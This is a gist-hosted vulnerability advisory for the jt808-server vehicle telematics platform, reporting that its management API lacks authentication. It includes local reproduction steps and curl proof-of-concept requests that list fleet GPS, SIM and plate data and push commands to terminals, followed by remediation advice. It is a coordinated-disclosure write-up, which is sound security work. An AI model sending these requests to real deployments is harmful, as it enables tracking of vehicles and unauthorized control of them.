Skip to content

Instantly share code, notes, and snippets.

@janceye26-svg
Last active October 10, 2026 14:57
Show Gist options
  • Select an option

  • Save janceye26-svg/eddbfcd42bbd90613dddcb7965408bf9 to your computer and use it in GitHub Desktop.

Select an option

Save janceye26-svg/eddbfcd42bbd90613dddcb7965408bf9 to your computer and use it in GitHub Desktop.
Unauthenticated vehicle command injection in yezhihao/jt808-server (CWE-306, CVSS 9.8)

Unauthenticated Vehicle Command Injection in yezhihao/jt808-server

  • Affected product: https://github.com/yezhihao/jt808-server
  • Audited version: master commit a07f68c466b560b97ef41edb8a4966469abdf83e (2026-07-23), no formal releases
  • Vulnerability class: CWE-306 Missing Authentication for Critical Function
  • Severity: Critical — CVSS v3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Vendor notification: notified via GitHub Private Vulnerability Reporting on 2026-10-10 (coordinated disclosure)
  • Tested on: locally built instance only; no third-party deployment was accessed or affected

1. Summary

jt808-server is a widely used open-source implementation of the JT/T 808 telematics standard (vehicle tracking/monitoring platforms). The shipped web management API (default port 8100) has no authentication at all:

  • pom.xml includes no auth framework (no spring-security/shiro/jwt)
  • WebMvcConfig.addInterceptors() is empty — no auth interceptor
  • All 30+ command endpoints under /device/ carry no authorization checks
  • CORS is configured as AllowedOriginPattern("*") + setAllowCredentials(true)

Consequences for any host able to reach port 8100:

  1. Enumerate every online terminal with SIM number, license plate and live GPS telemetry (GET /device/all)
  2. Send arbitrary JT808 commands to any terminal (30+ endpoints: 8500 vehicle control, 8105 terminal control/reset, 8108 firmware upgrade push, 8801 camera snapshot, 8300 text message, etc.)
  3. Deliver arbitrary raw protocol frames to any terminal (POST /device/raw, no allow-list)
  4. Reach the protocol parser unauthenticated (GET /message/explain), read full API docs (/v3/api-docs, doc.html), and change server log level (GET /logger)

2. Reproduction

Requirements: JDK 17+, Maven, git.

git clone https://github.com/yezhihao/jt808-server.git && cd jt808-server
mvn -DskipTests package                    # root pom sets maven.test.skip=true
mvn test-compile -Dmaven.test.skip=false   # override to build the bundled test terminal
mvn -q -pl jtt808-server dependency:build-classpath -Dmdep.outputFile=/tmp/cp.txt

# Terminal 1 — start the server (web :8100, JT808 TCP :7100)
java -jar jtt808-server/target/jtt808-server-1.0.0-SNAPSHOT.jar

# Terminal 2 — start the bundled test terminal (simulates one online vehicle)
CP="jtt808-server/target/test-classes:jtt808-server/target/classes:commons/target/classes:jtt808-protocol/target/classes:$(cat /tmp/cp.txt)"
java -cp "$CP" org.yzh.client.ClientTest
# registers clientId=10000000001 and reports GPS every 3 seconds

Evidence 1 — unauthenticated fleet enumeration (live GPS, SIM, plate)

$ curl -s http://127.0.0.1:8100/device/all
HTTP 200:
[{"remoteAddressStr":"/127.0.0.1:50225","attributes":{"Device":{
  "deviceId":"T000001","mobileNo":"10000000001","plateNo":"测A00001",
  "location":{"latitude":39915931,"longitude":116403829,"altitude":312,
  "speed":111,"deviceTime":"2026-10-10 16:05:18",...}}}}]

Evidence 2 — unauthenticated command delivery with terminal ACK round-trip

$ curl -s -X POST http://127.0.0.1:8100/device/8300 \
    -H "Content-Type: application/json" \
    -d '{"clientId":"10000000001","sign":4,"type":1,"content":"CNVD-PoC unauthorized command"}'
{"messageId":1,...,"responseSerialNo":3,"responseMessageId":33536,
 "resultCode":0,"success":true,...}

The test terminal's log proves the command arrived on the JT808 channel, was decoded, and its acknowledgment was returned to the unauthenticated caller:

<<<<<-T8300(sign=4, type=1, content=CNVD-PoC unauthorized command)
>>>>>-T0001(resultCode=0)

3. Impact

An attacker with network access to the management port obtains fleet-wide command authority over every connected vehicle terminal: mass location-privacy disclosure, terminal reset/reflashing via 0x8108 (firmware delivery path), and unauthorized control of vehicle functions exposed through 0x8500/0x8105.

4. Remediation

  1. Add authentication/authorization for the whole web layer (e.g. Spring Security or Sa-Token) with a default-deny interceptor covering /device/**, /sse/**, /message/**, /logger
  2. Bind the management port (8100) to 127.0.0.1 by default; external exposure requires explicit configuration
  3. Tighten CORS: remove AllowedOriginPattern("*") + AllowCredentials(true), use an origin allow-list
  4. Disable Swagger (springdoc) in production profiles
  5. Remove default FTP credentials (t9206: test/test) — require configuration at startup
  6. Optional: audit logging + confirmation flow for high-impact commands (8108/8500/8105)

5. Disclosure

Reported to the maintainer via GitHub Private Vulnerability Reporting on 2026-10-10. This gist is provided to the CVE numbering process for verification and is not publicly listed. No weaponized exploit is included.

@janceye26-svg

Copy link
Copy Markdown
Author

Evidence 1: Unauthenticated enumeration of all online terminals (including GPS, license plate, and mobile phone number)
curl -s http://127.0.0.1:8100/device/all
Expected result: HTTP 200, returning a JSON array containing mobileNo, plateNo, latitude, and longitude.
Evidence 2: Unauthenticated command issuance to a terminal
curl -s -X POST http://127.0.0.1:8100/device/8300
-H "Content-Type: application/json"
-d '{"clientId":"10000000001","sign":4,"type":1,"content":"CNVD-PoC unauthorized command"}'
Expected result: returns {"resultCode":0,"success":true,...} — this is the response from the terminal.
fb77c638e3fdc277a75055f6c4543c23

5cf5adce7cd83a3787f9b4086c49ed82 160264a51de5dc4ce972a6819e7772e6 634d9e907c274100379c92953a4bb5f7 d877c24ce3c319d3d59a59e9fcd48c6c 50da6aa41990126d9d1ddeb1786974e8

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment